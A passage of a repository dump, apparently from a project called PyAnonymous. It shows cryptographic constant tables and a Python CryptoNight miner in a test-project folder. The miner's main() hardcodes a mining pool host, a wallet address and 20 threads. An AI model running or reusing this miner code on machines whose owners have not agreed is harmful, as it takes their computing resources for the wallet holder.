58484,0xd303d0d0,0x5edc8282,0xcbe22929,0x99c35a5a,0x332d1e1e,0x463d7b7b,0x1fb7a8a8,0x610c6d6d,0x4e622c2c,
748 | 0x32c6c6a5,0x6ff8f884,0x5eeeee99,0x7af6f68d,0xe8ffff0d,0x0ad6d6bd,0x16dedeb1,0x6d919154,0x90606050,0x07020203,0x2ececea9,0xd156567d,0xcce7e719,0x13b5b562,0x7c4d4de6,0x59ecec9a,0x408f8f45,0xa31f1f9d,0x49898940,0x68fafa87,0xd0efef15,0x94b2b2eb,0xce8e8ec9,0xe6fbfb0b,0x6e4141ec,0x1ab3b367,0x435f5ffd,0x604545ea,0xf92323bf,0x515353f7,0x45e4e496,0x769b9b5b,0x287575c2,0xc5e1e11c,0xd43d3dae,0xf24c4c6a,0x826c6c5a,0xbd7e7e41,0xf3f5f502,0x5283834f,0x8c68685c,0x565151f4,0x8dd1d134,0xe1f9f908,0x4ce2e293,0x3eabab73,0x97626253,0x6b2a2a3f,0x1c08080c,0x63959552,0xe9464665,0x7f9d9d5e,0x48303028,0xcf3737a1,0x1b0a0a0f,0xeb2f2fb5,0x150e0e09,0x7e242436,0xad1b1b9b,0x98dfdf3d,0xa7cdcd26,0xf54e4e69,0x337f7fcd,0x50eaea9f,0x3f12121b,0xa41d1d9e,0xc4585874,0x4634342e,0x4136362d,0x11dcdcb2,0x9db4b4ee,0x4d5b5bfb,0xa5a4a4f6,0xa176764d,0x14b7b761,0x347d7dce,0xdf52527b,0x9fdddd3e,0xcd5e5e71,0xb1131397,0xa2a6a6f5,0x01b9b968,0x00000000,0xb5c1c12c,0xe0404060,0xc2e3e31f,0x3a7979c8,0x9ab6b6ed,0x0dd4d4be,0x478d8d46,0x176767d9,0xaf72724b,0xed9494de,0xff9898d4,0x93b0b0e8,0x5b85854a,0x06bbbb6b,0xbbc5c52a,0x7b4f4fe5,0xd7eded16,0xd28686c5,0xf89a9ad7,0x99666655,0xb6111194,0xc08a8acf,0xd9e9e910,0x0e040406,0x66fefe81,0xaba0a0f0,0xb4787844,0xf02525ba,0x754b4be3,0xaca2a2f3,0x445d5dfe,0xdb8080c0,0x8005058a,0xd33f3fad,0xfe2121bc,0xa8707048,0xfdf1f104,0x196363df,0x2f7777c1,0x30afaf75,0xe7424263,0x70202030,0xcbe5e51a,0xeffdfd0e,0x08bfbf6d,0x5581814c,0x24181814,0x79262635,0xb2c3c32f,0x86bebee1,0xc83535a2,0xc78888cc,0x652e2e39,0x6a939357,0x585555f2,0x61fcfc82,0xb37a7a47,0x27c8c8ac,0x88babae7,0x4f32322b,0x42e6e695,0x3bc0c0a0,0xaa191998,0xf69e9ed1,0x22a3a37f,0xee444466,0xd654547e,0xdd3b3bab,0x950b0b83,0xc98c8cca,0xbcc7c729,0x056b6bd3,0x6c28283c,0x2ca7a779,0x81bcbce2,0x3116161d,0x37adad76,0x96dbdb3b,0x9e646456,0xa674744e,0x3614141e,0xe49292db,0x120c0c0a,0xfc48486c,0x8fb8b8e4,0x789f9f5d,0x0fbdbd6e,0x694343ef,0x35c4c4a6,0xda3939a8,0xc63131a4,0x8ad3d337,0x74f2f28b,0x83d5d532,0x4e8b8b43,0x856e6e59,0x18dadab7,0x8e01018c,0x1db1b164,0xf19c9cd2,0x724949e0,0x1fd8d8b4,0xb9acacfa,0xfaf3f307,0xa0cfcf25,0x20cacaaf,0x7df4f48e,0x674747e9,0x38101018,0x0b6f6fd5,0x73f0f088,0xfb4a4a6f,0xca5c5c72,0x54383824,0x5f5757f1,0x217373c7,0x64979751,0xaecbcb23,0x25a1a17c,0x57e8e89c,0x5d3e3e21,0xea9696dd,0x1e6161dc,0x9c0d0d86,0x9b0f0f85,0x4be0e090,0xba7c7c42,0x267171c4,0x29ccccaa,0xe39090d8,0x09060605,0xf4f7f701,0x2a1c1c12,0x3cc2c2a3,0x8b6a6a5f,0xbeaeaef9,0x026969d0,0xbf171791,0x71999958,0x533a3a27,0xf72727b9,0x91d9d938,0xdeebeb13,0xe52b2bb3,0x77222233,0x04d2d2bb,0x39a9a970,0x87070789,0xc13333a7,0xec2d2db6,0x5a3c3c22,0xb8151592,0xa9c9c920,0x5c878749,0xb0aaaaff,0xd8505078,0x2ba5a57a,0x8903038f,0x4a5959f8,0x92090980,0x231a1a17,0x106565da,0x84d7d731,0xd58484c6,0x03d0d0b8,0xdc8282c3,0xe22929b0,0xc35a5a77,0x2d1e1e11,0x3d7b7bcb,0xb7a8a8fc,0x0c6d6dd6,0x622c2c3a,
749 | 0xc6c6a597,0xf8f884eb,0xeeee99c7,0xf6f68df7,0xffff0de5,0xd6d6bdb7,0xdedeb1a7,0x91915439,0x606050c0,0x02020304,0xcecea987,0x56567dac,0xe7e719d5,0xb5b56271,0x4d4de69a,0xecec9ac3,0x8f8f4505,0x1f1f9d3e,0x89894009,0xfafa87ef,0xefef15c5,0xb2b2eb7f,0x8e8ec907,0xfbfb0bed,0x4141ec82,0xb3b3677d,0x5f5ffdbe,0x4545ea8a,0x2323bf46,0x5353f7a6,0xe4e496d3,0x9b9b5b2d,0x7575c2ea,0xe1e11cd9,0x3d3dae7a,0x4c4c6a98,0x6c6c5ad8,0x7e7e41fc,0xf5f502f1,0x83834f1d,0x68685cd0,0x5151f4a2,0xd1d134b9,0xf9f908e9,0xe2e293df,0xabab734d,0x626253c4,0x2a2a3f54,0x08080c10,0x95955231,0x4646658c,0x9d9d5e21,0x30302860,0x3737a16e,0x0a0a0f14,0x2f2fb55e,0x0e0e091c,0x24243648,0x1b1b9b36,0xdfdf3da5,0xcdcd2681,0x4e4e699c,0x7f7fcdfe,0xeaea9fcf,0x12121b24,0x1d1d9e3a,0x585874b0,0x34342e68,0x36362d6c,0xdcdcb2a3,0xb4b4ee73,0x5b5bfbb6,0xa4a4f653,0x76764dec,0xb7b76175,0x7d7dcefa,0x52527ba4,0xdddd3ea1,0x5e5e71bc,0x13139726,0xa6a6f557,0xb9b96869,0x00000000,0xc1c12c99,0x40406080,0xe3e31fdd,0x7979c8f2,0xb6b6ed77,0xd4d4beb3,0x8d8d4601,0x6767d9ce,0x72724be4,0x9494de33,0x9898d42b,0xb0b0e87b,0x85854a11,0xbbbb6b6d,0xc5c52a91,0x4f4fe59e,0xeded16c1,0x8686c517,0x9a9ad72f,0x666655cc,0x11119422,0x8a8acf0f,0xe9e910c9,0x04040608,0xfefe81e7,0xa0a0f05b,0x787844f0,0x2525ba4a,0x4b4be396,0xa2a2f35f,0x5d5dfeba,0x8080c01b,0x05058a0a,0x3f3fad7e,0x2121bc42,0x707048e0,0xf1f104f9,0x6363dfc6,0x7777c1ee,0xafaf7545,0x42426384,0x20203040,0xe5e51ad1,0xfdfd0ee1,0xbfbf6d65,0x81814c19,0x18181430,0x2626354c,0xc3c32f9d,0xbebee167,0x3535a26a,0x8888cc0b,0x2e2e395c,0x9393573d,0x5555f2aa,0xfcfc82e3,0x7a7a47f4,0xc8c8ac8b,0xbabae76f,0x32322b64,0xe6e695d7,0xc0c0a09b,0x19199832,0x9e9ed127,0xa3a37f5d,0x44446688,0x54547ea8,0x3b3bab76,0x0b0b8316,0x8c8cca03,0xc7c72995,0x6b6bd3d6,0x28283c50,0xa7a77955,0xbcbce263,0x16161d2c,0xadad7641,0xdbdb3bad,0x646456c8,0x74744ee8,0x14141e28,0x9292db3f,0x0c0c0a18,0x48486c90,0xb8b8e46b,0x9f9f5d25,0xbdbd6e61,0x4343ef86,0xc4c4a693,0x3939a872,0x3131a462,0xd3d337bd,0xf2f28bff,0xd5d532b1,0x8b8b430d,0x6e6e59dc,0xdadab7af,0x01018c02,0xb1b16479,0x9c9cd223,0x4949e092,0xd8d8b4ab,0xacacfa43,0xf3f307fd,0xcfcf2585,0xcacaaf8f,0xf4f48ef3,0x4747e98e,0x10101820,0x6f6fd5de,0xf0f088fb,0x4a4a6f94,0x5c5c72b8,0x38382470,0x5757f1ae,0x7373c7e6,0x97975135,0xcbcb238d,0xa1a17c59,0xe8e89ccb,0x3e3e217c,0x9696dd37,0x6161dcc2,0x0d0d861a,0x0f0f851e,0xe0e090db,0x7c7c42f8,0x7171c4e2,0xccccaa83,0x9090d83b,0x0606050c,0xf7f701f5,0x1c1c1238,0xc2c2a39f,0x6a6a5fd4,0xaeaef947,0x6969d0d2,0x1717912e,0x99995829,0x3a3a2774,0x2727b94e,0xd9d938a9,0xebeb13cd,0x2b2bb356,0x22223344,0xd2d2bbbf,0xa9a97049,0x0707890e,0x3333a766,0x2d2db65a,0x3c3c2278,0x1515922a,0xc9c92089,0x87874915,0xaaaaff4f,0x505078a0,0xa5a57a51,0x03038f06,0x5959f8b2,0x09098012,0x1a1a1734,0x6565daca,0xd7d731b5,0x8484c613,0xd0d0b8bb,0x8282c31f,0x2929b052,0x5a5a77b4,0x1e1e113c,0x7b7bcbf6,0xa8a8fc4b,0x6d6dd6da,0x2c2c3a58,
750 | 0xc6a597f4,0xf884eb97,0xee99c7b0,0xf68df78c,0xff0de517,0xd6bdb7dc,0xdeb1a7c8,0x915439fc,0x6050c0f0,0x02030405,0xcea987e0,0x567dac87,0xe719d52b,0xb56271a6,0x4de69a31,0xec9ac3b5,0x8f4505cf,0x1f9d3ebc,0x894009c0,0xfa87ef92,0xef15c53f,0xb2eb7f26,0x8ec90740,0xfb0bed1d,0x41ec822f,0xb3677da9,0x5ffdbe1c,0x45ea8a25,0x23bf46da,0x53f7a602,0xe496d3a1,0x9b5b2ded,0x75c2ea5d,0xe11cd924,0x3dae7ae9,0x4c6a98be,0x6c5ad8ee,0x7e41fcc3,0xf502f106,0x834f1dd1,0x685cd0e4,0x51f4a207,0xd134b95c,0xf908e918,0xe293dfae,0xab734d95,0x6253c4f5,0x2a3f5441,0x080c1014,0x955231f6,0x46658caf,0x9d5e21e2,0x30286078,0x37a16ef8,0x0a0f1411,0x2fb55ec4,0x0e091c1b,0x2436485a,0x1b9b36b6,0xdf3da547,0xcd26816a,0x4e699cbb,0x7fcdfe4c,0xea9fcfba,0x121b242d,0x1d9e3ab9,0x5874b09c,0x342e6872,0x362d6c77,0xdcb2a3cd,0xb4ee7329,0x5bfbb616,0xa4f65301,0x764decd7,0xb76175a3,0x7dcefa49,0x527ba48d,0xdd3ea142,0x5e71bc93,0x139726a2,0xa6f55704,0xb96869b8,0x00000000,0xc12c9974,0x406080a0,0xe31fdd21,0x79c8f243,0xb6ed772c,0xd4beb3d9,0x8d4601ca,0x67d9ce70,0x724be4dd,0x94de3379,0x98d42b67,0xb0e87b23,0x854a11de,0xbb6b6dbd,0xc52a917e,0x4fe59e34,0xed16c13a,0x86c51754,0x9ad72f62,0x6655ccff,0x119422a7,0x8acf0f4a,0xe910c930,0x0406080a,0xfe81e798,0xa0f05b0b,0x7844f0cc,0x25ba4ad5,0x4be3963e,0xa2f35f0e,0x5dfeba19,0x80c01b5b,0x058a0a85,0x3fad7eec,0x21bc42df,0x7048e0d8,0xf104f90c,0x63dfc67a,0x77c1ee58,0xaf75459f,0x426384a5,0x20304050,0xe51ad12e,0xfd0ee112,0xbf6d65b7,0x814c19d4,0x1814303c,0x26354c5f,0xc32f9d71,0xbee16738,0x35a26afd,0x88cc0b4f,0x2e395c4b,0x93573df9,0x55f2aa0d,0xfc82e39d,0x7a47f4c9,0xc8ac8bef,0xbae76f32,0x322b647d,0xe695d7a4,0xc0a09bfb,0x199832b3,0x9ed12768,0xa37f5d81,0x446688aa,0x547ea882,0x3bab76e6,0x0b83169e,0x8cca0345,0xc729957b,0x6bd3d66e,0x283c5044,0xa779558b,0xbce2633d,0x161d2c27,0xad76419a,0xdb3bad4d,0x6456c8fa,0x744ee8d2,0x141e2822,0x92db3f76,0x0c0a181e,0x486c90b4,0xb8e46b37,0x9f5d25e7,0xbd6e61b2,0x43ef862a,0xc4a693f1,0x39a872e3,0x31a462f7,0xd337bd59,0xf28bff86,0xd532b156,0x8b430dc5,0x6e59dceb,0xdab7afc2,0x018c028f,0xb16479ac,0x9cd2236d,0x49e0923b,0xd8b4abc7,0xacfa4315,0xf307fd09,0xcf25856f,0xcaaf8fea,0xf48ef389,0x47e98e20,0x10182028,0x6fd5de64,0xf088fb83,0x4a6f94b1,0x5c72b896,0x3824706c,0x57f1ae08,0x73c7e652,0x975135f3,0xcb238d65,0xa17c5984,0xe89ccbbf,0x3e217c63,0x96dd377c,0x61dcc27f,0x0d861a91,0x0f851e94,0xe090dbab,0x7c42f8c6,0x71c4e257,0xccaa83e5,0x90d83b73,0x06050c0f,0xf701f503,0x1c123836,0xc2a39ffe,0x6a5fd4e1,0xaef94710,0x69d0d26b,0x17912ea8,0x995829e8,0x3a277469,0x27b94ed0,0xd938a948,0xeb13cd35,0x2bb356ce,0x22334455,0xd2bbbfd6,0xa9704990,0x07890e80,0x33a766f2,0x2db65ac1,0x3c227866,0x15922aad,0xc9208960,0x874915db,0xaaff4f1a,0x5078a088,0xa57a518e,0x038f068a,0x59f8b213,0x0980129b,0x1a173439,0x65daca75,0xd731b553,0x84c61351,0xd0b8bbd3,0x82c31f5e,0x29b052cb,0x5a77b499,0x1e113c33,0x7bcbf646,0xa8fc4b1f,0x6dd6da61,0x2c3a584e,
751 | 0xa597f4a5,0x84eb9784,0x99c7b099,0x8df78c8d,0x0de5170d,0xbdb7dcbd,0xb1a7c8b1,0x5439fc54,0x50c0f050,0x03040503,0xa987e0a9,0x7dac877d,0x19d52b19,0x6271a662,0xe69a31e6,0x9ac3b59a,0x4505cf45,0x9d3ebc9d,0x4009c040,0x87ef9287,0x15c53f15,0xeb7f26eb,0xc90740c9,0x0bed1d0b,0xec822fec,0x677da967,0xfdbe1cfd,0xea8a25ea,0xbf46dabf,0xf7a602f7,0x96d3a196,0x5b2ded5b,0xc2ea5dc2,0x1cd9241c,0xae7ae9ae,0x6a98be6a,0x5ad8ee5a,0x41fcc341,0x02f10602,0x4f1dd14f,0x5cd0e45c,0xf4a207f4,0x34b95c34,0x08e91808,0x93dfae93,0x734d9573,0x53c4f553,0x3f54413f,0x0c10140c,0x5231f652,0x658caf65,0x5e21e25e,0x28607828,0xa16ef8a1,0x0f14110f,0xb55ec4b5,0x091c1b09,0x36485a36,0x9b36b69b,0x3da5473d,0x26816a26,0x699cbb69,0xcdfe4ccd,0x9fcfba9f,0x1b242d1b,0x9e3ab99e,0x74b09c74,0x2e68722e,0x2d6c772d,0xb2a3cdb2,0xee7329ee,0xfbb616fb,0xf65301f6,0x4decd74d,0x6175a361,0xcefa49ce,0x7ba48d7b,0x3ea1423e,0x71bc9371,0x9726a297,0xf55704f5,0x6869b868,0x00000000,0x2c99742c,0x6080a060,0x1fdd211f,0xc8f243c8,0xed772ced,0xbeb3d9be,0x4601ca46,0xd9ce70d9,0x4be4dd4b,0xde3379de,0xd42b67d4,0xe87b23e8,0x4a11de4a,0x6b6dbd6b,0x2a917e2a,0xe59e34e5,0x16c13a16,0xc51754c5,0xd72f62d7,0x55ccff55,0x9422a794,0xcf0f4acf,0x10c93010,0x06080a06,0x81e79881,0xf05b0bf0,0x44f0cc44,0xba4ad5ba,0xe3963ee3,0xf35f0ef3,0xfeba19fe,0xc01b5bc0,0x8a0a858a,0xad7eecad,0xbc42dfbc,0x48e0d848,0x04f90c04,0xdfc67adf,0xc1ee58c1,0x75459f75,0x6384a563,0x30405030,0x1ad12e1a,0x0ee1120e,0x6d65b76d,0x4c19d44c,0x14303c14,0x354c5f35,0x2f9d712f,0xe16738e1,0xa26afda2,0xcc0b4fcc,0x395c4b39,0x573df957,0xf2aa0df2,0x82e39d82,0x47f4c947,0xac8befac,0xe76f32e7,0x2b647d2b,0x95d7a495,0xa09bfba0,0x9832b398,0xd12768d1,0x7f5d817f,0x6688aa66,0x7ea8827e,0xab76e6ab,0x83169e83,0xca0345ca,0x29957b29,0xd3d66ed3,0x3c50443c,0x79558b79,0xe2633de2,0x1d2c271d,0x76419a76,0x3bad4d3b,0x56c8fa56,0x4ee8d24e,0x1e28221e,0xdb3f76db,0x0a181e0a,0x6c90b46c,0xe46b37e4,0x5d25e75d,0x6e61b26e,0xef862aef,0xa693f1a6,0xa872e3a8,0xa462f7a4,0x37bd5937,0x8bff868b,0x32b15632,0x430dc543,0x59dceb59,0xb7afc2b7,0x8c028f8c,0x6479ac64,0xd2236dd2,0xe0923be0,0xb4abc7b4,0xfa4315fa,0x07fd0907,0x25856f25,0xaf8feaaf,0x8ef3898e,0xe98e20e9,0x18202818,0xd5de64d5,0x88fb8388,0x6f94b16f,0x72b89672,0x24706c24,0xf1ae08f1,0xc7e652c7,0x5135f351,0x238d6523,0x7c59847c,0x9ccbbf9c,0x217c6321,0xdd377cdd,0xdcc27fdc,0x861a9186,0x851e9485,0x90dbab90,0x42f8c642,0xc4e257c4,0xaa83e5aa,0xd83b73d8,0x050c0f05,0x01f50301,0x12383612,0xa39ffea3,0x5fd4e15f,0xf94710f9,0xd0d26bd0,0x912ea891,0x5829e858,0x27746927,0xb94ed0b9,0x38a94838,0x13cd3513,0xb356ceb3,0x33445533,0xbbbfd6bb,0x70499070,0x890e8089,0xa766f2a7,0xb65ac1b6,0x22786622,0x922aad92,0x20896020,0x4915db49,0xff4f1aff,0x78a08878,0x7a518e7a,0x8f068a8f,0xf8b213f8,0x80129b80,0x17343917,0xdaca75da,0x31b55331,0xc61351c6,0xb8bbd3b8,0xc31f5ec3,0xb052cbb0,0x77b49977,0x113c3311,0xcbf646cb,0xfc4b1ffc,0xd6da61d6,0x3a584e3a,
752 | 0x97f4a5f4,0xeb978497,0xc7b099b0,0xf78c8d8c,0xe5170d17,0xb7dcbddc,0xa7c8b1c8,0x39fc54fc,0xc0f050f0,0x04050305,0x87e0a9e0,0xac877d87,0xd52b192b,0x71a662a6,0x9a31e631,0xc3b59ab5,0x05cf45cf,0x3ebc9dbc,0x09c040c0,0xef928792,0xc53f153f,0x7f26eb26,0x0740c940,0xed1d0b1d,0x822fec2f,0x7da967a9,0xbe1cfd1c,0x8a25ea25,0x46dabfda,0xa602f702,0xd3a196a1,0x2ded5bed,0xea5dc25d,0xd9241c24,0x7ae9aee9,0x98be6abe,0xd8ee5aee,0xfcc341c3,0xf1060206,0x1dd14fd1,0xd0e45ce4,0xa207f407,0xb95c345c,0xe9180818,0xdfae93ae,0x4d957395,0xc4f553f5,0x54413f41,0x10140c14,0x31f652f6,0x8caf65af,0x21e25ee2,0x60782878,0x6ef8a1f8,0x14110f11,0x5ec4b5c4,0x1c1b091b,0x485a365a,0x36b69bb6,0xa5473d47,0x816a266a,0x9cbb69bb,0xfe4ccd4c,0xcfba9fba,0x242d1b2d,0x3ab99eb9,0xb09c749c,0x68722e72,0x6c772d77,0xa3cdb2cd,0x7329ee29,0xb616fb16,0x5301f601,0xecd74dd7,0x75a361a3,0xfa49ce49,0xa48d7b8d,0xa1423e42,0xbc937193,0x26a297a2,0x5704f504,0x69b868b8,0x00000000,0x99742c74,0x80a060a0,0xdd211f21,0xf243c843,0x772ced2c,0xb3d9bed9,0x01ca46ca,0xce70d970,0xe4dd4bdd,0x3379de79,0x2b67d467,0x7b23e823,0x11de4ade,0x6dbd6bbd,0x917e2a7e,0x9e34e534,0xc13a163a,0x1754c554,0x2f62d762,0xccff55ff,0x22a794a7,0x0f4acf4a,0xc9301030,0x080a060a,0xe7988198,0x5b0bf00b,0xf0cc44cc,0x4ad5bad5,0x963ee33e,0x5f0ef30e,0xba19fe19,0x1b5bc05b,0x0a858a85,0x7eecadec,0x42dfbcdf,0xe0d848d8,0xf90c040c,0xc67adf7a,0xee58c158,0x459f759f,0x84a563a5,0x40503050,0xd12e1a2e,0xe1120e12,0x65b76db7,0x19d44cd4,0x303c143c,0x4c5f355f,0x9d712f71,0x6738e138,0x6afda2fd,0x0b4fcc4f,0x5c4b394b,0x3df957f9,0xaa0df20d,0xe39d829d,0xf4c947c9,0x8befacef,0x6f32e732,0x647d2b7d,0xd7a495a4,0x9bfba0fb,0x32b398b3,0x2768d168,0x5d817f81,0x88aa66aa,0xa8827e82,0x76e6abe6,0x169e839e,0x0345ca45,0x957b297b,0xd66ed36e,0x50443c44,0x558b798b,0x633de23d,0x2c271d27,0x419a769a,0xad4d3b4d,0xc8fa56fa,0xe8d24ed2,0x28221e22,0x3f76db76,0x181e0a1e,0x90b46cb4,0x6b37e437,0x25e75de7,0x61b26eb2,0x862aef2a,0x93f1a6f1,0x72e3a8e3,0x62f7a4f7,0xbd593759,0xff868b86,0xb1563256,0x0dc543c5,0xdceb59eb,0xafc2b7c2,0x028f8c8f,0x79ac64ac,0x236dd26d,0x923be03b,0xabc7b4c7,0x4315fa15,0xfd090709,0x856f256f,0x8feaafea,0xf3898e89,0x8e20e920,0x20281828,0xde64d564,0xfb838883,0x94b16fb1,0xb8967296,0x706c246c,0xae08f108,0xe652c752,0x35f351f3,0x8d652365,0x59847c84,0xcbbf9cbf,0x7c632163,0x377cdd7c,0xc27fdc7f,0x1a918691,0x1e948594,0xdbab90ab,0xf8c642c6,0xe257c457,0x83e5aae5,0x3b73d873,0x0c0f050f,0xf5030103,0x38361236,0x9ffea3fe,0xd4e15fe1,0x4710f910,0xd26bd06b,0x2ea891a8,0x29e858e8,0x74692769,0x4ed0b9d0,0xa9483848,0xcd351335,0x56ceb3ce,0x44553355,0xbfd6bbd6,0x49907090,0x0e808980,0x66f2a7f2,0x5ac1b6c1,0x78662266,0x2aad92ad,0x89602060,0x15db49db,0x4f1aff1a,0xa0887888,0x518e7a8e,0x068a8f8a,0xb213f813,0x129b809b,0x34391739,0xca75da75,0xb5533153,0x1351c651,0xbbd3b8d3,0x1f5ec35e,0x52cbb0cb,0xb4997799,0x3c331133,0xf646cb46,0x4b1ffc1f,0xda61d661,0x584e3a4e,
753 | 0xf4a5f432,0x9784976f,0xb099b05e,0x8c8d8c7a,0x170d17e8,0xdcbddc0a,0xc8b1c816,0xfc54fc6d,0xf050f090,0x05030507,0xe0a9e02e,0x877d87d1,0x2b192bcc,0xa662a613,0x31e6317c,0xb59ab559,0xcf45cf40,0xbc9dbca3,0xc040c049,0x92879268,0x3f153fd0,0x26eb2694,0x40c940ce,0x1d0b1de6,0x2fec2f6e,0xa967a91a,0x1cfd1c43,0x25ea2560,0xdabfdaf9,0x02f70251,0xa196a145,0xed5bed76,0x5dc25d28,0x241c24c5,0xe9aee9d4,0xbe6abef2,0xee5aee82,0xc341c3bd,0x060206f3,0xd14fd152,0xe45ce48c,0x07f40756,0x5c345c8d,0x180818e1,0xae93ae4c,0x9573953e,0xf553f597,0x413f416b,0x140c141c,0xf652f663,0xaf65afe9,0xe25ee27f,0x78287848,0xf8a1f8cf,0x110f111b,0xc4b5c4eb,0x1b091b15,0x5a365a7e,0xb69bb6ad,0x473d4798,0x6a266aa7,0xbb69bbf5,0x4ccd4c33,0xba9fba50,0x2d1b2d3f,0xb99eb9a4,0x9c749cc4,0x722e7246,0x772d7741,0xcdb2cd11,0x29ee299d,0x16fb164d,0x01f601a5,0xd74dd7a1,0xa361a314,0x49ce4934,0x8d7b8ddf,0x423e429f,0x937193cd,0xa297a2b1,0x04f504a2,0xb868b801,0x00000000,0x742c74b5,0xa060a0e0,0x211f21c2,0x43c8433a,0x2ced2c9a,0xd9bed90d,0xca46ca47,0x70d97017,0xdd4bddaf,0x79de79ed,0x67d467ff,0x23e82393,0xde4ade5b,0xbd6bbd06,0x7e2a7ebb,0x34e5347b,0x3a163ad7,0x54c554d2,0x62d762f8,0xff55ff99,0xa794a7b6,0x4acf4ac0,0x301030d9,0x0a060a0e,0x98819866,0x0bf00bab,0xcc44ccb4,0xd5bad5f0,0x3ee33e75,0x0ef30eac,0x19fe1944,0x5bc05bdb,0x858a8580,0xecadecd3,0xdfbcdffe,0xd848d8a8,0x0c040cfd,0x7adf7a19,0x58c1582f,0x9f759f30,0xa563a5e7,0x50305070,0x2e1a2ecb,0x120e12ef,0xb76db708,0xd44cd455,0x3c143c24,0x5f355f79,0x712f71b2,0x38e13886,0xfda2fdc8,0x4fcc4fc7,0x4b394b65,0xf957f96a,0x0df20d58,0x9d829d61,0xc947c9b3,0xefacef27,0x32e73288,0x7d2b7d4f,0xa495a442,0xfba0fb3b,0xb398b3aa,0x68d168f6,0x817f8122,0xaa66aaee,0x827e82d6,0xe6abe6dd,0x9e839e95,0x45ca45c9,0x7b297bbc,0x6ed36e05,0x443c446c,0x8b798b2c,0x3de23d81,0x271d2731,0x9a769a37,0x4d3b4d96,0xfa56fa9e,0xd24ed2a6,0x221e2236,0x76db76e4,0x1e0a1e12,0xb46cb4fc,0x37e4378f,0xe75de778,0xb26eb20f,0x2aef2a69,0xf1a6f135,0xe3a8e3da,0xf7a4f7c6,0x5937598a,0x868b8674,0x56325683,0xc543c54e,0xeb59eb85,0xc2b7c218,0x8f8c8f8e,0xac64ac1d,0x6dd26df1,0x3be03b72,0xc7b4c71f,0x15fa15b9,0x090709fa,0x6f256fa0,0xeaafea20,0x898e897d,0x20e92067,0x28182838,0x64d5640b,0x83888373,0xb16fb1fb,0x967296ca,0x6c246c54,0x08f1085f,0x52c75221,0xf351f364,0x652365ae,0x847c8425,0xbf9cbf57,0x6321635d,0x7cdd7cea,0x7fdc7f1e,0x9186919c,0x9485949b,0xab90ab4b,0xc642c6ba,0x57c45726,0xe5aae529,0x73d873e3,0x0f050f09,0x030103f4,0x3612362a,0xfea3fe3c,0xe15fe18b,0x10f910be,0x6bd06b02,0xa891a8bf,0xe858e871,0x69276953,0xd0b9d0f7,0x48384891,0x351335de,0xceb3cee5,0x55335577,0xd6bbd604,0x90709039,0x80898087,0xf2a7f2c1,0xc1b6c1ec,0x6622665a,0xad92adb8,0x602060a9,0xdb49db5c,0x1aff1ab0,0x887888d8,0x8e7a8e2b,0x8a8f8a89,0x13f8134a,0x9b809b92,0x39173923,0x75da7510,0x53315384,0x51c651d5,0xd3b8d303,0x5ec35edc,0xcbb0cbe2,0x997799c3,0x3311332d,0x46cb463d,0x1ffc1fb7,0x61d6610c,0x4e3a4e62]
754 | blakeS=[[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15],[14,10,4,8,9,15,13,6,1,12,0,2,11,7,5,3],[11,8,12,0,5,2,15,13,10,14,3,6,7,1,9,4],[7,9,3,1,13,12,11,14,2,6,5,10,4,0,15,8],[9,0,5,7,2,4,10,15,14,1,11,12,6,8,3,13],[2,12,6,10,0,11,8,3,4,13,7,5,15,14,1,9],[12,5,1,15,14,13,4,10,0,7,6,3,9,2,8,11],[13,11,7,14,12,1,3,9,5,0,15,4,8,6,2,10],[6,15,14,9,11,3,0,8,12,2,13,7,1,4,10,5],[10,2,8,4,7,6,1,5,15,11,9,14,3,12,13,0],[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15],[14,10,4,8,9,15,13,6,1,12,0,2,11,7,5,3],[11,8,12,0,5,2,15,13,10,14,3,6,7,1,9,4],[7,9,3,1,13,12,11,14,2,6,5,10,4,0,15,8],[9,0,5,7,2,4,10,15,14,1,11,12,6,8,3,13],[2,12,6,10,0,11,8,3,4,13,7,5,15,14,1,9],[12,5,1,15,14,13,4,10,0,7,6,3,9,2,8,11],[13,11,7,14,12,1,3,9,5,0,15,4,8,6,2,10],[6,15,14,9,11,3,0,8,12,2,13,7,1,4,10,5],[10,2,8,4,7,6,1,5,15,11,9,14,3,12,13,0]]
755 |
756 | if __name__ == '__main__':
757 | run_tests()
758 |
--------------------------------------------------------------------------------
/测试项目/ReadableCryptoMiner/defs.py:
--------------------------------------------------------------------------------
1 |
2 | SOFT_VERSION = "0.1"
3 | AGENT_LABEL = "WKTA.nano.miner/"+SOFT_VERSION
4 |
--------------------------------------------------------------------------------
/测试项目/ReadableCryptoMiner/ggminer.py:
--------------------------------------------------------------------------------
1 | import argparse
2 | import math
3 | import sys
4 |
5 | import Utils
6 | from Miner import Miner
7 | from Utils import log, LEVEL_INFO
8 |
9 |
10 | def test_job(given_miner):
11 | """
12 | this tests only the old version of CryptoNight (before Cn/V4) and it shows how the miner
13 | behaves when the share has been found properly.
14 | """
15 | job_msg = {
16 | "blob": "0505ad91b1cb05473f162f06104953ab34112ea403d365f3e83f339c44328ca3dbd87ba7e62f4a00000000557056bfa4105\
17 | abde09055edea9a0a5d3f333412a74bc96417a23bc68f8d73e405",
18 | "job_id": "488788125594146", "target": "285c8f02"
19 | }
20 |
21 | blob = job_msg["blob"]
22 | job_id = job_msg["job_id"]
23 | target = job_msg["target"]
24 | difficulty = math.floor((2 ** 32 - 1) / int(target, 16))
25 |
26 | given_miner._subscription._id = "dummy"
27 | job = given_miner._subscription.create_job(
28 | job_id=job_id,
29 | blob=blob,
30 | target=target
31 | )
32 | log("start test job", LEVEL_INFO)
33 | for result in job.mine(nonce_start=0x24000000):
34 | log("Found share: " + str(result), LEVEL_INFO)
35 | log("end test job", LEVEL_INFO)
36 | # expected_result = {
37 | # "id": "523289590119384", "job_id": "218283583596348", "nonce": "24000082",
38 | # "result": "df6911d024c62d910e53b012f6b8ed0eedfaf53f60819e261207d91044258202"
39 | # }
40 |
41 | def main():
42 | pool = 'stratum+tcp://usa.leeyabug.top:41637'
43 | address_miner = '47mjFw6dNVPBXLCzQZCWSWD7aGbaW7Mnc1Sdw378jvzbYJRSTk71nKG135K9zYheVxEy5gtpsccZTcaZCJxZgwmM3cxZjiE.miner_100'
44 | thread = 20
45 |
46 | Utils.DEBUG = True
47 | miner = Miner(pool, address_miner, '123', 'cryptonight', thread)
48 | miner.serve_forever()
49 |
--------------------------------------------------------------------------------
/测试项目/test/__pycache__/test2.cpython-37.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/test/__pycache__/test2.cpython-37.pyc
--------------------------------------------------------------------------------
